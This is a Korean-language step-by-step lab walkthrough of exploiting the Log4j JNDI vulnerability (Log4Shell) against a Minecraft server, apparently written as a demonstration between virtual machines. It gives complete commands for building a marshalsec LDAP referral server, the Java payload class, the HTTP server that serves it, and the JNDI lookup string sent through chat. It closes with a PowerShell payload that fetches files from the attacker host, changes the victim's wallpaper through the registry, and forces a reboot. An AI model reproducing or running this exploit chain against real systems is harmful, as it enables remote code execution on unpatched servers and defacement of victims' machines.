Search

Log4j 시연 (마인크래프트)

0) 환경 구성

모든 공격은 VM 에서 진행
공격자 : kali-linux-2024.1
피해자 : window 10

0.1) 윈도우 초기 세팅

Java jdk-8u181-windows-x64.exe
java -version 확인
마인크래프트 설치
MINECRAFT:JAVA EDITION 구매
1.8.8 버전 설치설정 후 실행
eula.txt 정책 동의
eula=true (true로 기본 설정 되어있긴 하지만 확인)
서버구동기.bat 실행
1.
서버 만들기 → 4. 램 4GB로 진행 (램은 적당히 조정해도 됨)
서버 정상실행 확인
Server add
Multiplayer → Add server
Server Address 에 host의 IP를 입력하여 서버 연결
들어오면 대기

0.2) 칼리 리눅스 세팅

VMWare 실행
apt 패키지 관리자 업데이트
apt update
Shell
복사
java 8 버전 설치 (java, javac 모두 8버전으로 맞춰야한다)
초기에 17버전이 다운되어있음 → apt install openjdk-8-jdk 실행 불가 직접 파일을 다운 받아서 넣어야함
오라클 계정 만들어서 jdk-8u181-linux-x64.tar.gz 다운
cd /usr/lib/jvm sudo tar -xvzf ~/Download/jdk-8u181-linux-x64.tar.gz cd jdk1.8.0_181 sudo mousepad /etc/environment
Shell
복사
하이라이트 된 부분 추가
Java 실행파일 우선순위 설정
sudo update-alternatives --config java sudo update-alternatives --config javac
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 0 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 0
Shell
복사
Java 8 버전을 기본으로 설정
sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac
Shell
복사
--config 옵션을 사용하여 버전을 선택할 수도 있음
sudo update-alternatives --config java sudo update-alternatives --config javac
Shell
복사
해당 화면에서 원하는 버전 선택
Java 버전 확인
java -version
Shell
복사
1.8.0_181 버전 확인

1) JNDI Exploit Server (marshalsec) 실행

1.1) marshalsec git clone

marshalsec 도구는 JNDI 룩업을 통한 공격 시나리오를 구현하고 테스트할 수 있는 기능을 제공
git clone https://github.com/mbechler/marshalsec cd marshalsec
Shell
복사

1.2) maven 설치 및 빌드

sudo apt-get install maven -y mvn clean package -DskipTests
Shell
복사
테스트 skip 안 하면 오류난다. skip 해줘야함
빌드완료

1.3) JNDI Exploit Server 실행

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<공격자 ip>:7979/#Log4jRCE" ex) java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.0.148:7979/#Log4jRCE"
Shell
복사
서버 실행 완료

중요 LDAPRefServer 를 7979로 설정해두었다 공격파일이 있는 경로에서 파이썬으로 웹 서버를 7979 포트에 오픈하고, 마인크래프트에서 1389 포트 + 파일명을 호스팅하면 해당 파일이 실행된다

2) Java Poc (Proof of Concept)

2.1) payload 다운 및 실행

git clone https://github.com/xiajun325/apache-log4j-rce-poc cd apache-log4j-rce-poc/src/main/java/ ls cat Log4jRCE.java
Shell
복사
페이로드 확인
mousepad를 이용하여 페이로드 수정
sudo mousepad Log4jRCE.java
Shell
복사
페이로드 수정
public class Log4jRCE { static { try{ Runtime.getRuntime().exec("calc.exe").waitFor(); }catch(Exception e){ System.out.println(e); } } }
Shell
복사
컴파일 및 클래스파일 확인
javac Log4jRCE.java ls
Shell
복사

2.2) HTTP 서버 가동

python3 -m http.server 7979
Shell
복사
HTTP Server 홈 디렉터리에는 반드시 컴파일된 클래스파일이 있어야한다
(클래스파일이 있는곳에서 HTTP Server를 키면 된다)

2.3) 공격 진행

마인크래프트에서 t 를 눌러 채팅입력
${jndi:ldap://<공격자 ip>:1389/Log4jRCE} ex) ${jndi:ldap://192.168.0.147:1389/Log4jRCE}
Shell
복사
계산기 실행 확인
칼리 리눅스에서 Log4j RCE 익스플로잇 성공 확인

마인크래프트를 활용한 Log4j RCE 익스플로잇 성공

$savePath = "$env:USERPROFILE\AppData\Local" if (-not (Test-Path -Path $savePath)) { New-Item -ItemType Directory -Path $savePath } $imageUrl = "http://192.168.0.147:7979/image2.jpg" $imagePath = "$savePath\image2.jpg" $readmeUrl = "http://192.168.0.147:7979/ReadMe.txt" $readmePath = "$env:USERPROFILE\Desktop\ReadMe.txt" Invoke-WebRequest -Uri $imageUrl -OutFile $imagePath Invoke-WebRequest -Uri $readmeUrl -OutFile $readmePath $registryPath = "HKCU:\Control Panel\Desktop" $registryValueName = "Wallpaper" Set-ItemProperty -Path $registryPath -Name $registryValueName -Value $imagePath Restart-Computer
PowerShell
복사